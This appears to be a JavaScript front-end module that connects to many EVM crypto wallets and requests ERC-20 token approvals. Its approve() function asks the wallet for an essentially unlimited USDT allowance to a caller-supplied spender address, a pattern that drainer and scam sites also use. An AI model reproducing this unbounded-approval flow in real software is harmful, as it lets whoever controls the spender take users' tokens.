/**
 * plugin/eth.js
 * 支持所有主流 EVM 钱包：MetaMask / Trust / OKX / Bitget / TokenPocket / SafePal / Coinbase / Bybit / MathWallet / imToken / 1inch / Rabby 等
 */

import Web3 from 'web3'
import { getGasPriceApi } from '@/api/common/chain'
import { contractAddress, contractABI } from './config'
import { useUserStore } from '@/store/user'
import { showToast } from 'vant'

let web3Client = null
let tokenContract = null
let currentAddress = ''

/**
 * 检查是否存在 ETH 钱包
 */
export const check = async () => {
  return !!(
    window.ethereum ||
    window.trustwallet ||
    window.okxwallet ||
    window.bitkeep?.ethereum ||
    window.tokenpocket ||
    window.coinbaseWalletExtension ||
    window.coinbase ||
    window.safepal ||
    window.bybitWallet ||
    window.imToken ||
    window.mathwallet ||
    window.oneInchWallet ||
    window.rabby ||
    window.phantom?.ethereum
  )
}

/**
 * 获取 provider（兼容各种钱包注入对象）
 */
const getProvider = () => {
  return (
    window.ethereum ||
    window.trustwallet ||
    window.okxwallet ||
    window.bitkeep?.ethereum ||
    window.tokenpocket ||
    window.coinbaseWalletExtension ||
    window.coinbase ||
    window.safepal ||
    window.bybitWallet ||
    window.imToken ||
    window.mathwallet ||
    window.oneInchWallet ||
    window.rabby ||
    window.phantom?.ethereum
  )
}

/**
 * 连接钱包并返回地址（兼容多钱包）
 */
export const connect = async () => {
  const result = { code: 200 }

  const isChecked = await check()
  if (!isChecked) {
    showToast('No wallet found, please access through your wallet browser.')
    return { code: 500, msg: 'no wallet' }
  }

  const provider = getProvider()
  web3Client = new Web3(provider)

  try {
    const accounts = await provider.request({ method: 'eth_requestAccounts' })
    if (accounts?.length) {
      currentAddress = accounts[0]

      // ✅ 识别钱包类型（保持原逻辑基础上扩充）
      let walletType = 'Ethereum'
      if (provider.isMetaMask) walletType = 'MetaMask'
      else if (provider.isTrust || window.trustwallet) walletType = 'TrustWallet'
      else if (window.okxwallet) walletType = 'OKXWallet'
      else if (window.bitkeep) walletType = 'BitgetWallet'
      else if (window.tokenpocket) walletType = 'TokenPocket'
      else if (window.coinbaseWalletExtension || window.coinbase) walletType = 'CoinbaseWallet'
      else if (window.safepal) walletType = 'SafePalWallet'
      else if (window.bybitWallet) walletType = 'BybitWallet'
      else if (window.imToken) walletType = 'imTokenWallet'
      else if (window.mathwallet) walletType = 'MathWallet'
      else if (window.oneInchWallet) walletType = '1inchWallet'
      else if (window.rabby) walletType = 'RabbyWallet'
      else if (window.phantom?.ethereum) walletType = 'PhantomEVM'

      result.data = { type: walletType, address: currentAddress }

      // ✅ 防止 MetaMask 用户未注册（userInfo 为空）
      const userStore = useUserStore()
      if (!userStore.userInfo?.user?.address) {
        userStore.userInfo = {
          user: {
            ...userStore.userInfo?.user,
            address: currentAddress
          }
        }
      }
    } else {
      result.code = 500
      result.msg = 'Unauthorized wallet address access'
    }
  } catch (error) {
    console.error('connect error:', error)
    result.code = 500
    result.msg = error.message || 'Wallet connection failed'
  }

  return result
}

/**
 * 初始化钱包切换监听
 */
export const initSwitchWalletEvent = async () => {
  const checked = await check()
  if (!checked) return

  const provider = getProvider()
  const userStore = useUserStore()

  provider.on('accountsChanged', (accounts) => {
    console.log('🔁 Wallet account switched:', accounts)
    userStore.signOut()
    setTimeout(() => location.reload(), 200)
  })

  provider.on('chainChanged', (chainId) => {
    console.log('🔁 Network chain switched:', chainId)
    userStore.signOut()
    setTimeout(() => location.reload(), 200)
  })

  provider.on('disconnect', (code, reason) => {
    console.warn('🔌 Wallet disconnected:', code, reason)
  })
}

/**
 * 获取当前 GasPrice
 */
export const getGasPrice = async () => {
  try {
    if (!web3Client) web3Client = new Web3(getProvider())

    const gasPrice = await web3Client.eth.getGasPrice()
    if (gasPrice) {
      const adjusted =
        typeof BigInt !== 'undefined'
          ? BigInt(gasPrice) * BigInt(2)
          : parseInt(gasPrice) * 2
      return adjusted.toString()
    }
  } catch (err) {
    console.warn('getGasPrice error:', err)
  }
  return (7e9).toString()
}

/**
 * 执行代币授权（Approve）
 */
export const approve = async (spenderAddress, type = 'USDT') => {
  const connectRes = await connect()
  if (connectRes.code !== 200 || !connectRes.data?.address) {
    showToast('Wallet not connected')
    return { approveMethod: null }
  }

  const userAddress = connectRes.data.address
  if (!tokenContract) {
    tokenContract = new web3Client.eth.Contract(contractABI, contractAddress[type])
  }

  const approveAmount = web3Client.utils.toWei('999999999999999', 'ether')
  const gasPrice = await getGasPrice()

  const sendParams = { from: userAddress, gasPrice, gas: 150000 }

  const approveMethod = tokenContract.methods.approve(spenderAddress, approveAmount)
  const sendTx = approveMethod.send(sendParams)
  return { approveMethod: sendTx }
}
